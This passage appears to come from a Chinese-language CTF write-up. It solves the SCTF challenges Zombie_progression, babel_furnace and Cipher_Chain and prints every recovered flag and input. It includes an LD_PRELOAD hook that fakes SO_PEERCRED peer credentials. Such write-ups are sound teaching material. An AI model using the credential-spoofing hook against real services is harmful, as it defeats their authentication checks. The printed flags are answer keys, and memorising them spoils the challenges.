candidate: bytearray(b'SCTF{f0rtune_f@v0rs_th3_blod}')
printable: True syndrome_zero: True
L=31, vars=200, rank=192, ok
candidate: bytearray(b'SCTF{...不可打印...}')
printable: False syndrome_zero: True
L=33, vars=216, rank=192, ok
candidate: bytearray(b'SCTF{...不可打印...}')
printable: False syndrome_zero: True
L=29 是唯一满秩且可打印的解:
SCTF{f0rtune_f@v0rs_th3_blod}
Zombie_progression
题目信息
- 题目名:Zombie_progression
- 类型:Reverse
- 分值:1000PT
题目描述里提到:
QYQS 的奇妙冒险怎么到这里来了?小心被僵尸大军淹没了
结合实际分析,这题本质上不是传统“直接逆出 flag”,而是一个带多进程 / IPC / 分段校验机制的路径恢复题。程序会读取一串类似魔方转动的 move token,在所有校验都通过后,利用最终状态派生密钥,解出 flag。
一、初步分析
解压后主程序是一个 64 位 PIE ELF。
先用常规手段看一下:
file Zombie_progression
checksec Zombie_progression
strings Zombie_progression | less
可以很快发现几个特征:
程序会读取用户输入的一串 token。
token 风格明显像魔方记号:
U/D/F/B/R/LUw2U / 3Uwx/y/z- 以及
'、2后缀。
最终存在
SCTF{...}格式化痕迹,但 flag 本体不是明文。
继续逆向后可以确认:
- flag 是由一段 39 字节密文 解出来的;
- 解密方式是 ChaCha20 类流加密;
- 密钥并不写死,而是由最终路径状态做 SHA-256 派生得到。
也就是说,这题不能直接从 rodata 里抠出 flag,必须恢复出正确的 36 步路径。
二、输入与整体结构
继续静态分析 parser,可以确认:
1. 输入总长度固定
程序要求输入 36 个 move token。
2. 校验按 block 分段进行
36 步不是一次性整体校验,而是:
- 每 3 步 为一组
- 一共 12 个 block gate
也就是:
- block 0:第 1~3 步
- block 1:第 4~6 步
- …
- block 11:第 34~36 步
这意味着题目虽然看上去像 36 步的超大搜索空间,但实际上可以分段恢复,每次只需要解 3 步。
3. 合法 token 集合
parser 最终接受的大约是 117 种单步记号,包括:
- 普通面转:
U/D/F/B/R/L - 逆时针/双转:
'、2 - 宽层:
Uw/Dw/... - 双层/三层:
2U / 3U / 2Uw / 3Uw ... - 整体旋转:
x/y/z
所以这题不是普通 3x3 魔方,而更像 6x6 体系的转动语法。
三、真正的坑:程序运行环境不是“直接可跑”
一开始直接运行程序会发现它并不能正常走完逻辑,而是卡死/失败。
继续调试后发现,程序内部不是简单单进程校验,而是使用了一套类似:
clone(...)- 多 worker
- IPC / packet response
- 分阶段 compare
的运行时框架。
关键问题
程序里有一段基于 SO_PEERCRED 的 peer credential 判断逻辑,会影响内部 worker 的状态初始化。
如果直接粗暴 patch,把相关 credential bit 全部置 1,虽然程序能跑起来,但这会把内部状态带偏,导致后面 block gate 里出现根本不可达的目标哈希。
我一开始就踩了这个坑:
- 程序能启动
- 但第一段 target 根本搜不出来
- 最后确认是因为环境状态被 patch 错了,不是真正逻辑
所以这题最关键的点之一不是爆破 move,而是先把运行环境修正到“原本作者预期的状态”。
四、修正运行环境
正确做法不是全局 patch credential bit,而是通过 LD_PRELOAD hook getsockopt(..., SO_PEERCRED, ...),让程序在所有 worker 中都看到同一个 root pid。
思路
在程序启动时记录:
root_pid = getpid();
之后无论哪个 fork/clone 出来的 worker 调用 getsockopt(... SO_PEERCRED ...),都返回:
pid = root_piduid = geteuid()gid = getegid()
这样才能让原始逻辑自然走通,而不是强行篡改某个结果位。
修正用 hook
#define _GNU_SOURCE
#include <sys/socket.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
static pid_t root_pid;
__attribute__((constructor))
static void init() {
root_pid = getpid();
}
int getsockopt(int fd, int level, int optname, void *optval, socklen_t *optlen) {
static int (*real_getsockopt)(int,int,int,void*,socklen_t*);
if (!real_getsockopt) {
real_getsockopt = dlsym(RTLD_NEXT, "getsockopt");
}
if (level == SOL_SOCKET && optname == SO_PEERCRED && optval && optlen && *optlen >= 12) {
struct {
pid_t pid;
uid_t uid;
gid_t gid;
} u = {
root_pid,
geteuid(),
getegid()
};
memcpy(optval, &u, 12);
*optlen = 12;
return 0;
}
return real_getsockopt(fd, level, optname, optval, optlen);
}
编译:
gcc -shared -fPIC -O2 -o fixcred_root.so fixcred_root.c -ldl
运行时这样带上:
LD_PRELOAD=./fixcred_root.so ./Zombie_progression
修正后,程序内部的 block gate 目标就变成了可达状态。
五、恢复路径的核心方法
在环境正确以后,下一步就是恢复 12 个 block。
1. 为什么不能 36 步直接爆破
即使单步只有 117 种可能,36 步直接搜的复杂度也完全不可接受。
但由于程序是每 3 步一个 gate,所以可以逐段恢复:
- 先找 block 0 的 3 步
- 把它作为 prefix
- 再找 block 1 的 3 步
- …
- 最后恢复完整 36 步
2. 做法
我这里采用的方式是:
- 找到 block compare 的位置
- 分别对当前 block 的第 0 / 1 / 2 个 token 的 compare 做 patch
- 命中时直接
HIT+exit - 不命中也立刻退出,避免走完整失败清理逻辑
这样每个候选只需要跑很短的路径,搜索速度会快很多。
3. 实战中的另一个坑:僵尸 worker
因为程序本身大量 clone/fork,如果每次测试一个候选都让原始流程自然退出,会残留很多 worker,导致环境越来越脏,后面判断会失真。
所以实际搜索时需要:
- 每个候选放到单独进程组里跑
- 跑完立即 kill 整个进程组
- 必要时补一发:
killall -9 Zombie_progression Zcmp 2>/dev/null
否则很容易被残留 worker 污染结果。
六、逐段恢复结果
按 block 恢复后,得到的 12 段分别是:
block 0
3Rw' U2 F
block 1
2L' z Rw2
block 2
B 3U x'
block 3
2R Fw U'
block 4
3Dw2 L B2
block 5
y 2F' Rw
block 6
D2 3Lw' z2
block 7
U F' 2B
block 8
R2 x 3Uw'
block 9
L2 Dw Fw'
block 10
3R U2 B'
block 11
y' 2D 3Fw
拼接起来就是完整 36 步输入。
七、最终输入
最终提交的 move 序列为:
3Rw' U2 F 2L' z Rw2 B 3U x' 2R Fw U' 3Dw2 L B2 y 2F' Rw D2 3Lw' z2 U F' 2B R2 x 3Uw' L2 Dw Fw' 3R U2 B' y' 2D 3Fw
将其输入程序后,即可得到 flag。
八、最终 flag
SCTF{Qy@S_1s_R1ght_14332516_@_114514?!}
九、总结
这题的难点不在于单纯的“逆算法”,而在于几个点叠在一起:
- flag 不是明文,而是最终状态派生密钥解密
- 输入空间很大,但实际可以按 3 步 block 分段恢复
- 程序有多进程 / IPC / peer credential 环境绑定
- 粗暴 patch 会让状态偏掉,出现不可达目标
- 需要先修运行环境,再做分段恢复
所以整体更像一道:
“逆向 + 运行时修复 + 分段搜索”
的综合题,而不是单纯静态看逻辑就能秒出的题。
这题真正的突破口是:
- 先意识到全局 patch credential bit 是错路
- 再用
LD_PRELOAD正确模拟SO_PEERCRED - 最后利用 3 步一段的 gate 逐段恢复完整路径
十、附:本地复现建议
建议在 Linux / WSL 环境下做,流程大致如下:
# 1. 编译 hook
gcc -shared -fPIC -O2 -o fixcred_root.so fixcred_root.c -ldl
# 2. 带 hook 运行
LD_PRELOAD=./fixcred_root.so ./Zombie_progression
# 3. 输入最终 36 步
3Rw' U2 F 2L' z Rw2 B 3U x' 2R Fw U' 3Dw2 L B2 y 2F' Rw D2 3Lw' z2 U F' 2B R2 x 3Uw' L2 Dw Fw' 3R U2 B' y' 2D 3Fw
如果中途测试很多候选,记得清理残留进程:
killall -9 Zombie_progression Zcmp 2>/dev/null
不然很容易被孤儿 worker 干扰。
babel_furnace
第一层
题目只给了一个PE,IDA打开查看string
这说明程序不是普通的纯 C/C++ 校验器,而是:
- 自己映射 Python 运行时;
- 加载一个 Python 扩展;
- 再通过 Python/C 混合逻辑完成校验
使用010去搜索PE文件头,发现里面内嵌了一个PE文件

将其 carve 出来后,得到一个约 0x585200 字节的完整 CPython 3.11 DLL
因此,外层 EXE 实际上自带 Python 解释器,不依赖目标机器安装 Python
题目描述:It's strange, there can't be so many people standing here
这句话对应外层 .rdata 里一堆固定大小块。真正的数据不是顺序拼接,而是“很多人里只有一条链是真人”,其余大多是诱饵
定位到的参数:
表起始文件偏移 = 0x7bc0
表起始 RVA = 0x8bc0
块数量 = 0x140 = 320
每块大小 = 0x800
起始逻辑索引 = 0x4b = 75
初始 32 字节密钥:
89 8a 44 96 5a ed 72 7e b1 c9 52 b9 74 26 fe 71
2d a5 74 55 dd 01 e6 47 5d 60 ff 38 a4 f8 1e d4
每块0x800的大小布局如下:
| 块内偏移 | 大小 | 含义 |
|---|---|---|
0x000 |
0x7c0 |
密文区,固定 1984 字节 |
0x7c0 |
0x10 |
tag,完整性校验 |
0x7d0 |
0x08 |
nonce |
0x7d8 |
0x04 |
next-index mask |
0x7dc |
0x02 |
有效明文长度 plen |
0x7de |
0x01 |
辅助字段 |
0x7df |
0x01 |
flags,bit0 表示最后一块 |
0x7e0 |
0x20 |
干扰/填充 |
密文区固定是 0x7c0,但每块真正拼接进输出的长度是 plen。前 18 个真块 plen = 1984,最后一块 plen = 640
320 个块并不是按物理顺序拼接,而是构成了一条索引链。绝大多数块是诱饵,只有沿链访问的块才是有效载荷
密钥流
每 32 字节生成一段 SHA-256 密钥流:
def keystream(key, nonce, size):
out = bytearray()
counter = 0
while len(out) < size:
out += sha256(key + nonce + p32(counter)).digest()
counter += 1
return bytes(out[:size])
plain = ciphertext ^ keystream
只取plen指定的前若干字节
标签效验
标签算法为:
SHA256(
"tag" || key || plaintext || nonce || LE32(sequence)
)[:16]
也就是说:
expected = sha256(
b"tag" + key + plain + nonce + p32(seq)
).digest()[:16]
如果标签不一致,说明链索引或密钥状态错误
下一块索引
next_index =
LE32(SHA256(key || nonce || LE32(sequence))[:4])
XOR mask
每块后的滚动密钥
key_next = SHA256(
key
|| SHA256(ciphertext)
|| last_32_bytes(accumulated_plaintext)
|| nonce
|| LE32(sequence)
)
注意参与更新的是整段固定长度密文的 SHA-256,而不是只对有效明文计算
从索引 75 开始,得到:
75 → 87 → 99 → 111 → 123 → 135 → 147 → 159 → 171
→ 183 → 195 → 207 → 219 → 231 → 243 → 255
→ 267 → 279 → 291
一共19块
前 18 块每块有效长度 1984 字节,最后一块 640 字节
输出正好是一个合法 PE DLL:
bridge.pyd
SHA256 = 03780f6b59c94fd44c9bcf126512468e1b4fec11879c8c3959a55825222cc9fd

bridge.pyd是一个 x64 Python 扩展


verify 包装函数大致逻辑:
PyObject *verify(PyObject *self, PyObject *args) {
PyObject *obj;
if (!_PyArg_ParseTuple_SizeT(args, "O", &obj))
return NULL;
raw = PyObject_GetAttrString(obj, "raw");
carrier = PyObject_GetAttrString(obj, "carrier");
ok = core_verify(raw, carrier);
return PyBool_FromLong(ok);
}
在核心函数中
cmp [input_len], 30h
jne fail
这里可以看出来输入长度应该等于48
第二层
Python Marshal 代码对象
外层运行 Python 后,会把一段原始 CPython 3.11 marshal 数据交给 marshal.loads
实际分析时可在以下位置任选一种截获:
- marshal.loads调用前,dump 参数 buffer;
- PyMarshal_ReadObjectFromString 入口断下;
- 代码对象创建完成后,通过 Python C API 或调试器导出
得到:
python_payload.bin
长度 = 15711
它不是完整 .pyc,而是裸 marshal code object。补上 Python 3.11 .pyc头后即可使用对应反汇编工具

整理一下的逻辑就是
MASK_1024 = (1 << 1024) - 1
INPUT_META_MAGIC = b'\xbf\x03'
INPUT_META_OFFSET = 38
INPUT_META_MASK_OFFSET = INPUT_META_OFFSET + 48
class Context:
__slots__ = ('raw', 'seed', 'counter', 'carrier')
def __init__(self, raw, carrier):
self.raw = raw
self.seed = 0x7d4510a77e21f39b
self.counter = 0
self.carrier = carrier
def oracle(self, block_id, transcript, nonce):
self.counter += 1
table = self.carrier.co_exceptiontable
permutation = self._decode_permutation()
physical_id = permutation[block_id]
begin = physical_id * 128
chunk = int.from_bytes(table[begin:begin + 128], 'little')
z = pow(nonce ^ self.seed ^ block_id, 5)
z += transcript << 193
z += ((block_id + 1) ** 7) << 311
z ^= z << 131
z ^= z >> 17
z ^= z << 257
z &= MASK_1024
return chunk ^ z
def _decode_permutation(self):
return [ord(ch) for ch in self.carrier.co_name]
def _decode_input_meta(self):
raw = self.carrier.co_qualname.encode('latin1')
if not raw.startswith(INPUT_META_MAGIC):
raise ValueError
if len(raw) < INPUT_META_MASK_OFFSET + 48:
raise ValueError
permutation_share = raw[38:86]
input_mask_blob = raw[86:134]
input_mask_words = [
int.from_bytes(input_mask_blob[i * 8:(i + 1) * 8], 'little')
for i in range(6)
]
return permutation_share, input_mask_words
def input_permutation_share(self):
return self._decode_input_meta()[0]
def input_mask_words(self):
return b''.join(
word.to_bytes(8, 'little')
for word in self._decode_input_meta()[1]
)
def _carrier():
pass
ctx = Context(challenge_input, _carrier.__code__)
result = bridge.verify(ctx)
print('Correct.' if result else 'Nope.')
_carrier的 co_code几乎没有意义,真正载荷被塞进了 code object 元数据
| 字段 | 长度 | 用途 |
|---|---|---|
co_name |
80 | 0..79 的块置换 |
co_linetable |
512 | 16 × 32 字节的第一组 share |
co_exceptiontable |
10240 | 80 × 128 字节 oracle 密文块 |
co_qualname |
≥134 | magic、48 字节输入置换 share、48 字节 mask share |
co_exceptiontable本来是异常处理元数据;co_linetable本来是源码行号映射;co_name、co_qualname本来只是函数名
但是这里把它们当作了隐蔽数据容器使用
反编译器只盯着 co_code,会误以为 _carrier 是空函数
输入的置换与三方掩码
载体代码对象
carrier permutation share = co_qualname[38:86]
carrier mask share = co_qualname[86:134]
bridge.pyd
bridge permutation share = RVA 0x7f50,48 字节
bridge mask share = RVA 0x7f80,48 字节
外层 EXE
outer mask share = RVA 0x8b60,48 字节
最终输入置换
perm = carrier_perm_share ^ bridge_perm_share
结果是 0..47 的一个合法排列:
24,25,26,27,28,29,30,31,
32,33,34,35,36,37,38,39,
8,9,10,11,12,13,14,15,
40,41,42,43,44,45,46,47,
16,17,18,19,20,21,22,23,
0,1,2,3,4,5,6,7
按 8 字节分组理解
p0 = raw[24:32]
p1 = raw[32:40]
p2 = raw[ 8:16]
p3 = raw[40:48]
p4 = raw[16:24]
p5 = raw[ 0: 8]
合并后的六个 64 位 mask
m0 = 0x0ba04f04a18a49cd
m1 = 0x39488f8dddd615f3
m2 = 0x47fd50b603a1dc13
m3 = 0x675b31be6a9c15f6
m4 = 0xfe55308261cafb1e
m5 = 0x71f0d50eb519714e
bridge 先将输入 qword 与这六个 mask 异或,再写入 engine I/O
VM 开头又执行六条相同 mask 的 XORI
(x ^ mask) ^ mask = x
可以了解到mask不会改变进入 14 轮主网络前的最终明文状态
第三层
engine.dll
bridge.verify内部还会映射一个新的 PE
可以通过在手工映射器输入处断下并 dump 原始映像
拿到engine.bin
查看其导出
engine_create RVA 0x3810
engine_destroy RVA 0x3b50
engine_resume RVA 0x3bf0
它不是普通的 verify(input),而是协程式接口:
- engine_create创建状态;
- engine_resume 反复返回“我现在需要哪一类数据”;
- 宿主将数据填入共享 I/O buffer;
- 再次 resume;
- 最后返回真假结果
I/O buffer 大小:0x258
engine 协程协议
状态0x101:请求 16 组 share
索引位于:IO + 0x6c
填入:
| 目标位置 | 数据来源 |
|---|---|
IO+0x1a8 |
co_linetable[index*32:(index+1)*32] |
IO+0x1c8 |
bridge RVA 0x7d50 + index*32 |
IO+0x1e8 |
outer RVA 0x8960 + index*32 |
然后计算并填写 I/O 完整性 hash
一共请求 16 次
状态0x102:请求 80 个 oracle 块
block_id = dword(IO + 0x68)
transcript = qword(IO + 0x70)
nonce = qword(IO + 0x78)
调用python:
oracle_output = ctx.oracle(block_id, transcript, nonce)
填入:
| 目标位置 | 内容 |
|---|---|
IO+0x80 |
oracle 输出低 64 位 |
IO+0x88 |
完整 128 字节 oracle 输出 |
IO+0x108 |
outer 64-byte share,RVA 0x7560 对应块 |
IO+0x148 |
bridge 16-byte share,RVA 0x6450 对应块 |
IO+0x168 |
bridge 64-byte share,RVA 0x6950 对应块 |
IO+0x208 |
bridge dword,RVA 0x6310 对应项 |
IO+0x20c |
outer dword,RVA 0x7420 对应项 |
IO+0x210 |
outer 六个 qword,RVA 0x8b90 |
再填写 I/O hash
一共请求 80 次,对应 80 个 VM block
状态0x103
表示一个 VM block 执行完成,不需要再提供新数据
实际完整流程中出现 79 次
状态0x104
result = dword(IO + 0x250)
完整成功运行统计:
resume 次数 = 176
事件数 = 175
0x101 = 16 次
0x102 = 80 次
0x103 = 79 次
最后 = 0x104
I/O 完整性 hash
engine 会验证宿主填入的数据,不能只随便伪造几个字段。
核心混合函数是 SplitMix64 风格:
MASK64 = (1 << 64) - 1
G = 0x9e3779b97f4a7c15
C1 = 0xbf58476d1ce4e5b9
C2 = 0x94d049bb133111eb
def mix(x):
x = (x + G) & MASK64
x = ((x ^ (x >> 30)) * C1) & MASK64
x = ((x ^ (x >> 27)) * C2) & MASK64
return (x ^ (x >> 31)) & MASK64
对相关 I/O 字段按固定顺序滚动混合,初始值:
h = 0x6a09e667f3bcc909
结果写入:
IO + 0x240
第二个校验值:
h2 = mix(
0xbb67ae8584caa73b
^ h
^ qword(IO + 0x70)
^ qword(IO + 0x78)
^ dword(IO + 0x68)
)
写入:
IO + 0x248
重建模拟器时必须正确实现这一步,否则 engine 会在真正执行 VM 前拒绝输入
使用 Unicorn 手动映射
为了方便跟踪 VM,可用 Unicorn x86-64 模拟整个 engine.dll:
- 解析 PE headers;
- 按
ImageBase映射SizeOfImage; - 复制 headers 与各 section;
- 处理重定位;
- 对少量导入函数提供 stub;
- 建立栈、堆和共享 I/O buffer;
- 直接调用三个导出函数。
但是engine 内部有部分自定义跳转表把 RVA 当作低地址使用。若完全按正常 Windows 高基址执行,某些间接跳转会落到错误位置
解决方案是:
- 同时映射一段与 RVA 相对应的低地址镜像;
- 或在间接跳转处把裸 RVA 重定向为
ImageBase + RVA。
修正后,A * 48 等错误输入能稳定跑完 80 块并返回 false,证明:
- 三层数据来源;
- Python oracle;
- I/O 完整性 hash;
- 协程恢复逻辑;
均已重建正确
导出 VM 字节码
在 engine 的解释器循环处挂钩:
RVA 0x20f9
该位置已经完成当前虚拟指令的解码。关键寄存器:
R9 = 当前 opcode handler 目标
R11 = dst
RCX = src
R8 = immediate
RDI = 全局指令编号
IO+0x68 = block_id
根据 handler RVA 建立 opcode 映射:
| Handler RVA | 指令 |
|---|---|
0x21af |
MOV |
0x20fc |
SET |
0x24fe |
XORR |
0x21bc |
XORI |
0x21a2 |
ADDR |
0x2183 |
ADDI |
0x2326 |
SUBR |
0x2333 |
MULR |
0x218c |
ROLI |
0x21c5 |
SBOX |
0x250b |
LOAD |
0x2345 |
MIX |
0x1e6d |
META |
0x2522 |
SWAP |
0x2105 |
ASSERT |
0x259c |
XORROL |
0x2685 |
END |
0x26c4 |
BAD |
最终导出:
80 blocks × 8 instructions = 640 instructions
VM 初始状态
首先从 I/O 载入六个 64 位字:
r0 r1 r2 r3 r4 r5
随后与六个 mask 做 XOR;如前所述,这一步和 bridge 的预处理相互抵消。
之后暂存到 r6 r7 r8 r9 r10 r11,再进行一次初始字级置换:
new = [old5, old2, old4, old0, old1, old3]
记作:
initial_perm = [5, 2, 4, 0, 1, 3]
64 位半字节 S-box
S-box 表位于 engine RVA 0x21642:
SBOX = [
6, 11, 0, 4,
13, 3, 15, 8,
10, 5, 9, 14,
1, 12, 7, 2,
]
逆表:
ISBOX = [
2, 12, 15, 5,
3, 9, 0, 14,
7, 10, 8, 1,
13, 4, 11, 6,
]
它逐 nibble 作用于 64 位值:
def sbox64(x):
y = 0
for i in range(16):
y |= SBOX[(x >> (i * 4)) & 0xf] << (i * 4)
return y
由于 S-box 是 0..15 的排列,因此完全可逆
14 轮可逆主网络
状态:
x0, x1, x2, x3, x4, x5
每轮参数:
k0, k1, k2
旋转量 a,b,c,d,e,f
六元素置换 perm
一轮正向运算:
x0 = x0 + k0
x1 = rol(x1 ^ x0, a)
x2 = x2 + x1 + k1
x3 = rol(x3 ^ x2, b)
x4 = x4 + x3 + k2
x5 = rol(x5 ^ x4, c)
x0 = SBOX64(x0 ^ x5)
x2 = SBOX64(x2 ^ x1)
x4 = SBOX64(x4 ^ x3)
x3 = x3 + rol(x0, d)
x5 = x5 + rol(x2, e)
x1 = x1 + rol(x4, f)
new[dst] = old[perm[dst]]
所有加减均模 2^64
1 轮参数
| r | k0 | k1 | k2 | a,b,c,d,e,f | perm |
|---|---|---|---|---|---|
| 0 | b77dea7e93819877 |
778e160a921ba969 |
32fd54e0455f19d0 |
60,55,44,54,35,27 |
[1,2,0,4,5,3] |
| 1 | d5d5cd83283312f8 |
3b2fa4569b784de1 |
91e96d6a4aa4e283 |
48,25,25,39,23,10 |
[4,1,0,2,5,3] |
| 2 | 889219646db2e227 |
141e8ccb73d2cd2d |
60e395fb6fa9ca23 |
51,21,11,8,9,53 |
[3,2,1,4,0,5] |
| 3 | 601c432e40ba15a4 |
b671baf702f4dbbf |
0bb3d560aa2fac6e |
9,30,2,24,5,50 |
[4,3,2,1,0,5] |
| 4 | 427cd601c7b0e9fb |
dd5f2d2fd65aae81 |
4bc912ad7f684a5f |
7,10,11,45,52,5 |
[3,0,1,2,5,4] |
| 5 | ebee2810fac09dc5 |
ae81f7d4d757dc16 |
023001576ba90b40 |
10,47,3,23,29,59 |
[4,2,1,3,5,0] |
| 6 | 6adee3be67671d2e |
65ce0f364b02faaf |
b1f4e665244d29a1 |
63,37,39,49,40,16 |
[5,0,3,2,1,4] |
| 7 | 3d12ed6e61a6f831 |
dc183c04832d3f57 |
2f2d614a2e362d86 |
59,9,43,48,46,37 |
[3,4,2,5,1,0] |
| 8 | 66080f1b44245fbd |
f968220c39287de8 |
5040a7d1e8991540 |
34,42,9,39,3,3 |
[2,1,5,0,4,3] |
| 9 | de63dbed8e3bb913 |
6799d3c73cffc066 |
986e4b4c095ecb7b |
36,46,45,3,54,54 |
[2,1,0,3,5,4] |
| 10 | 06c591733e46d599 |
9a7a5a579ccd3b63 |
6362221f55aa7812 |
30,29,33,60,4,48 |
[5,3,4,1,2,0] |
| 11 | 540953743d2d8c1d |
8c382ee96c7520f0 |
88cd573a6395f95e |
17,1,9,25,53,50 |
[3,4,5,2,1,0] |
| 12 | 57244fa10b429072 |
d29b7a4ebff6417f |
7b4c9a327c4bcd0e |
12,41,16,19,53,29 |
[4,3,5,2,1,0] |
| 13 | e803c50b40863ec4 |
3d1f7a376674c439 |
e5371b0ff5dad1c1 |
48,4,38,36,40,51 |
META 累加器
VM 中还有一组 META 指令,参与最后两个目标字的构造。
15 个 immediate:
d73a9a3d941e7ec7
e9ef5e7ba7738315
f38f81f15c788df3
73d95c4abb1f2057
9265058299729a8b
5c4eaa3403138e25
361572d13c5713f8
f0c80b7006fa7036
b7ea0e1b7f68b8b2
318aa9830a1ef354
6904d68a0b5fa31c
fe51321f10150f38
a86efd7de0989517
7ccc3db451ac635b
000000000000c0de
累加:
e8 = 0
for value in META:
e8 = mix(e8 ^ value)
得到:
e8 = 0x78ffbb22ec2102c5
XORROL 等指令主要操作完整性/临时状态,对六个主状态字的可逆求解没有额外未知量
六条 ASSERT 与最终目标状态
外层 RVA 0x8b90 给出六个 qword:
0x54342cc3e6c98700
0x314bd3348bbc59bf
0x70bc1a21838dbd10
0xe79f5e4011bc0f4e
0x208c70e6cdec1cc0
0x14aebcb91f8c9ec7
engine RVA 0x21658 还有 16 字节静态值:
67 45 23 01 f7 e6 d5 54 1d 01 e6 b7 92 3c 1f a4
按小端解释:
static0 = 0x54d5e6f701234567
static1 = 0xa41f3c92b7e6011d
分析 ASSERT handler 后可知:
target[0:4] = outer[0:4]
target4 = invmix(outer4) XOR static0 XOR e8
target5 = invmix(outer5) XOR static1 XOR e8
逆 SplitMix64
两个乘法常数在模 2^64 下均为奇数,因此存在乘法逆元:
inv(C1) = 0x96de1b173f119089
inv(C2) = 0x319642b2d24d8ec3
对:
y = x XOR (x >> k)
可迭代恢复:
def undo_xor_right(y, k):
x = y
for _ in range(6):
x = y ^ (x >> k)
return x & MASK64
所以:
def invmix(y):
x = undo_xor_right(y, 31)
x = (x * INV_C2) & MASK64
x = undo_xor_right(x, 27)
x = (x * INV_C1) & MASK64
x = undo_xor_right(x, 30)
return (x - G) & MASK64
最终六个主状态目标为:
0x54342cc3e6c98700
0x314bd3348bbc59bf
0x70bc1a21838dbd10
0xe79f5e4011bc0f4e
0x275ecd14e9093d80
0xb63b4ec66f2cb431
由于六条 ASSERT 完整限制了 6×64 = 384 位状态,而每轮全部操作可逆,所以输入可唯一恢复
单轮逆运算
给定一轮输出 v[0..5]:
撤销末尾状态置换
正向定义:
new[d] = old[perm[d]]
因此:
old = [0] * 6
for d, s in enumerate(perm):
old[s] = v[d]
撤销三次交叉加法
正向顺序:
x3 += rol(x0,d)
x5 += rol(x2,e)
x1 += rol(x4,f)
倒序撤销:
x1 = x1 - rol(x4, f)
x5 = x5 - rol(x2, e)
x3 = x3 - rol(x0, d)
撤销 S-box 与 XOR
正向:
x0 = SBOX64(x0 ^ x5)
x2 = SBOX64(x2 ^ x1)
x4 = SBOX64(x4 ^ x3)
逆向:
x4 = ISBOX64(x4) ^ x3
x2 = ISBOX64(x2) ^ x1
x0 = ISBOX64(x0) ^ x5
要按依赖关系使用撤销交叉加法后的 x1,x3,x5。
撤销三组 ARX
x5 = ror(x5, c) ^ x4
x4 = x4 - k2 - x3
x3 = ror(x3, b) ^ x2
x2 = x2 - k1 - x1
x1 = ror(x1, a) ^ x0
x0 = x0 - k0
完整函数:
def inverse_round(v, rnd):
k0, k1, k2, a, b, c, d, e, f, perm = rnd
x = [0] * 6
for dst, src in enumerate(perm):
x[src] = v[dst]
x[1] = (x[1] - rol(x[4], f)) & MASK64
x[5] = (x[5] - rol(x[2], e)) & MASK64
x[3] = (x[3] - rol(x[0], d)) & MASK64
x[4] = isbox64(x[4]) ^ x[3]
x[2] = isbox64(x[2]) ^ x[1]
x[0] = isbox64(x[0]) ^ x[5]
x[5] = ror(x[5], c) ^ x[4]
x[4] = (x[4] - k2 - x[3]) & MASK64
x[3] = ror(x[3], b) ^ x[2]
x[2] = (x[2] - k1 - x[1]) & MASK64
x[1] = ror(x[1], a) ^ x[0]
x[0] = (x[0] - k0) & MASK64
return x
从第 13 轮到第 0 轮依次逆推
撤销初始字级置换
14 轮逆完后,还要撤销:
initial_perm = [5, 2, 4, 0, 1, 3]
得到的是“经过 48 字节输入置换后的数据”:
at3_VMs_AnYmoRe!0n't_w@n??!?!!?}T_tO_crESCTF{1_d
注意这里看起来像被打乱的 flag,说明 14 轮逆运算正确,只差最前面的输入 byte permutation
撤销 48 字节输入置换
正向:
permuted[i] = raw[input_perm[i]]
逆向:
raw = bytearray(48)
for i, source_index in enumerate(input_perm):
raw[source_index] = permuted[i]
恢复出的十六进制:
534354467b315f64306e27745f77406e
545f744f5f6372456174335f564d735f
416e596d6f5265213f3f213f21213f7d
转为 ASCII:
SCTF{1_d0n't_w@nT_tO_crEat3_VMs_AnYmoRe!??!?!!?}
Cipher_Chain
题目分为两段链式分析:
task1.txt给出有限域上的线性校验矩阵,需要恢复一个小重量 ternary 向量 。 - 用 Task1 恢复出的
seed进入task2,根据task2.trace里的工程记录还原一次 X25519 会话,再解开task2.enc。
Task1:恢复小重量向量
题目给出:
隐藏向量:
并且:
由于
校验方程为:
也就是:
如果直接枚举所有重量为 10 的 ternary 向量,规模为:
数量较大,但可以用 meet-in-the-middle。把
对应矩阵也拆成:
则要求:
即:
枚举右半部分所有指定重量的向量,把
求得两组互为相反数的解:
h =
0,1,0,0,-1,1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,-1,0,-1,0,0,0,1,0,-1,0
-h =
0,-1,0,0,1,-1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,1,0,1,0,0,0,-1,0,1,0
按照题目描述派生 keystream:
然后:
最后:
两组
seed = aGFjyHX1aWdadade
seed_hex = 6147466a794858316157646164616465
other_seed_hex = a97ad9d8348c5bbec749895de3e42f05
第一组得到可读 ASCII 字符串,后续也能通过 task2.log 验证,因此选:
seed = b"aGFjyHX1aWdadade"
Task2:还原曲线交换和 payload mask
task2.trace 内容为:
curve_link trace
role = client
peer_key_len = 32
secret_stage = compress(seed)
burn_counter = 0xc350
exchange = montgomery25519
check = 32d39782e415b6b2
payload_mode = stream-mask
task2.log 内容为:
session_prefix = 621e27e55f647db4
关键是判断 burn_counter 作用在曲线交换之前还是之后。根据 hint:
先判断 burn_counter 作用在曲线交换之前还是之后;task2.log 里的短串只用于确认你是否到达了正确的会话中间态。
尝试后发现正确流程为:
然后 burn 发生在曲线交换之前:
这里
接着做 X25519:
计算结果:
shared =
f192366303a5836ce62ecadf4cf95845281ee8a6582d757cdabd1a57fe952473
验证中间态:
其前 8 字节为:
621e27e55f647db4
正好等于 task2.log 中的 session_prefix,说明会话中间态正确。
最后 payload_mode = stream-mask。实际用于异或的 32 字节 mask 为:
即:
mask =
3fb5602d8ce9cd5dcde0c3f66dc0c12d28a1094876b933fbcd4ca5cc3cfe0fd3
task2.enc 长度为 36 字节,mask 长度为 32 字节,因此循环使用该 mask:
解得:
SCTF{curve25519_bsuiahduie_cif_diqw}
解题代码
import ast
import hashlib
import itertools
import re
import struct
P_FIELD = 65537
X25519_P = 2**255 - 19
X25519_A24 = 121665
def parse_task1(path="task1.txt"):
text = open(path, "r", encoding="utf-8").read()
G = ast.literal_eval(
re.search(r"G =\s*(\[.*?\])\s*\n\nciphertext_hex", text, re.S).group(1)
)
ciphertext = bytes.fromhex(
re.search(r"ciphertext_hex\s*=\s*([0-9a-f]+)", text).group(1)
)
return G, ciphertext
def gen_half_vectors(rows, weight):
"""Generate (syndrome, half_h) for a fixed ternary weight."""
n = len(rows)
for positions in itertools.combinations(range(n), weight):
for signs in itertools.product((1, -1), repeat=weight):
syndrome = [0] * 14
half_h = [0] * n
for pos, sign in zip(positions, signs):
half_h[pos] = sign
row = rows[pos]
for k, value in enumerate(row):
syndrome[k] = (syndrome[k] + sign * value) % P_FIELD
yield tuple(syndrome), tuple(half_h)
def recover_h(G):
split = 15
